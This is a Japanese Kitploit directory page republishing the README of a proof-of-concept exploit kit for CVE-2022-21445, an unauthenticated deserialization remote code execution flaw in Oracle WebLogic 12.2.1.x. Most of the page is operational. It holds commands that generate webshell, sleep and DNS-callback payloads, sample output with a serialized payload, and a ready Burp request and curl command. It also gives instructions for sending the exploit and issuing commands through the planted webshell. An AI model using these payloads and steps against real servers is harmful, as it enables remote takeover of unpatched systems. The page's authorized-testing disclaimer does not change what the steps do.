Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-21445 — Oracle Weblogic 12.2.1.X の CVE-2022-21445 に対するエクスプロイト | Kitploit
ツール/GitHubGitHub/necr00/cve-2022-21445
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミング
GitHubnecr00/cve-2022-21445

CVE-2022-21445

Oracle Weblogic 12.2.1.X の CVE-2022-21445 に対するエクスプロイト

リポジトリを見る
515ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-21445 エクスプロイト - PoC

このツールキットは、Oracle ADF Facesを実行しているOracle WebLogic Server 12.2.1.xに影響する重大なJavaデシリアライゼーション脆弱性であるCVE-2022-21445のエクスプロイトペイロードを生成します。

この欠陥はRemoteApplicationResourceLoaderコンポーネントに存在し、攻撃者が特別に細工されたHTTP GETリクエストを送信して安全でないデシリアライゼーションを引き起こすことを可能にします。悪用に成功すると、標的サーバー上で認証なしのリモートコード実行(RCE)につながる可能性があります。

必要条件

必要条件バージョン目的
Python3.6+エクスプロイトスクリプトを実行
JDK1.8 (8u202推奨)Javaペイロードジェネレータをコンパイルして実行
Weblogic12.2.1.X脆弱なバージョン

セットアップガイド

JDK 1.8のインストール

ペイロードは、ターゲットのJavaランタイムに合わせるためにJDK 1.8でコンパイルする必要があります。

root@kitploit:~
# SDKMANを使用:
sdk install java 8.0.402-tem

# java 8を選択
sudo update-alternatives --config java
root@kitploit:~
java -version    # 1.8.xと表示されるはず
javac -version   # 1.8.xと表示されるはず

使用方法

ウェブシェルペイロードの生成

HTTPヘッダーcmdからコマンドを読み取り、レスポンスボディで出力を返すペイロードを作成します。

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell

出力:

root@kitploit:~
[*] Target WebLogic version: 12.2.1.4
[*] Payload type: webshell
[*] Using JARs from: libs/12.2.1.4
[+] Step 1/4: Detecting ClassIdentity hash for 12.2.1.4...
[*] Detected ClassIdentity hash: 423B02C050017B24DB10DFF759AA56BF
[+] Step 2/4: Generating webshell payload class...
[+] Step 3/4: Compiling payload classes...
[+] Step 4/4: Generating serialized payload...

======================================================================
  PAYLOAD GENERATED SUCCESSFULLY
======================================================================

[*] Payload type: webshell
[*] Payload length: 2156 characters

──────────────────────────────────────────────────────────────────────
RAW PAYLOAD:
──────────────────────────────────────────────────────────────────────
H4sIAAAAAAAAAA%3D%3DlVZb...

──────────────────────────────────────────────────────────────────────
BURP REPEATER REQUEST:
──────────────────────────────────────────────────────────────────────
GET /app/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DlVZb.../ HTTP/1.1
Host: target:port
cmd: whoami
Connection: close

──────────────────────────────────────────────────────────────────────
CURL COMMAND:
──────────────────────────────────────────────────────────────────────
curl -k -H "cmd: id" "https://target:port/app/afr/foo/remote/H4sI.../"

スリープ(ブラインド)ペイロードの生成

ブラインドテスト用 — レスポンスが遅延した場合にコード実行を確認します。

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type sleep --sleep-time 10

ペイロードを送信し、レスポンス時間を測定します:

  • 約10秒: コード実行が確認されました
  • 即時(1秒未満): ペイロードが実行されていません(バージョン不一致、パッチ適用、またはエンコーディングの問題)

DNSコールバックペイロードの生成

Burp Collaboratorなどを使用した帯域外確認用。

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type dns \
    --dns-host cve-21445.abc123.oastify.com

ターゲットの指定

--targetを使用して、正しいホストとコンテキストパスでフォーマットされた出力を取得します:

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell \
    --target http://10.0.0.50:8002/test

これにより、Burpリクエストとcurlコマンドが正しいホストとパスでフォーマットされます:

root@kitploit:~
GET /test/afr/foo/remote/PAYLOAD/ HTTP/1.1
Host: 10.0.0.50:8002
cmd: whoami

ペイロードをファイルに保存

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell \
    --output payload.txt

エクスプロイトの送信

Burp Suiteを使用する

  1. スクリプトを実行してペイロードを生成する
  2. 出力からBURP REPEATER REQUESTセクションをコピーする
  3. Burp Suiteを開く → Repeater → リクエストを貼り付ける
  4. ターゲットのホストとポートを設定する
  5. Sendをクリックする
  6. webshellの場合:cmdヘッダーの値を変更して別のコマンドを実行する image

トラブルシューティング

Jarファイルが破損している場合は、以下の指示に従って目的のWeblogicバージョンをインストールし、該当するJarを抽出してください。

これにより、公式のFMW Infrastructure Dockerイメージから必要なOracle JARが抽出されます。

root@kitploit:~
# libsディレクトリを作成
mkdir -p libs/12.2.1.3
#または
mkdir -p libs/12.2.1.3

# Oracle FMW Infrastructure 12.2.1.3または12.2.1.4イメージをプル
# 注: container-registry.oracle.comでライセンスに同意する必要がある場合があります
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.3.0
#または
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0

# 12.2.1.4バージョンのJARが必要だと仮定します(12.2.1.3の場合は、コマンドの.4を.3に置き換えてください)

# 一時的なコンテナを作成(起動する必要はありません)
docker create --name fmw1214_temp container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0

# 必要なJARを抽出
docker cp fmw1214_temp:/u01/oracle/coherence/lib/coherence.jar ./libs/12.2.1.4/coherence.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-api-11.jar ./libs/12.2.1.4/adf-richclient-api-11.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-impl-11.jar ./libs/12.2.1.4/adf-richclient-impl-11.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-api.jar ./libs/12.2.1.4/trinidad-api.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-impl.jar ./libs/12.2.1.4/trinidad-impl.jar

注: javax.mail JAR(MIME Base64エンコーディングに必要)は初回実行時にMaven Centralから自動的にダウンロードされます。手動でのセットアップは不要です。ウェブシェルペイロードは純粋なリフレクションを使用しており、コンパイル時にweblogic.jarは不要です。


免責事項

このツールは許可されたセキュリティテストのみを目的としています。自分が所有していないシステムをテストする前に、必ず書面による許可を取得してください。作者は誤用について一切の責任を負いません。コンピュータシステムへの不正アクセスは違法です。


参考文献

  • Oracle Critical Patch Update Advisory - April 2022
  • CVE-2022-21445 - NVD
  • hienkiet/CVE-2022-21445-for-12.2.1.3.0-Weblogic
ツールをダウンロード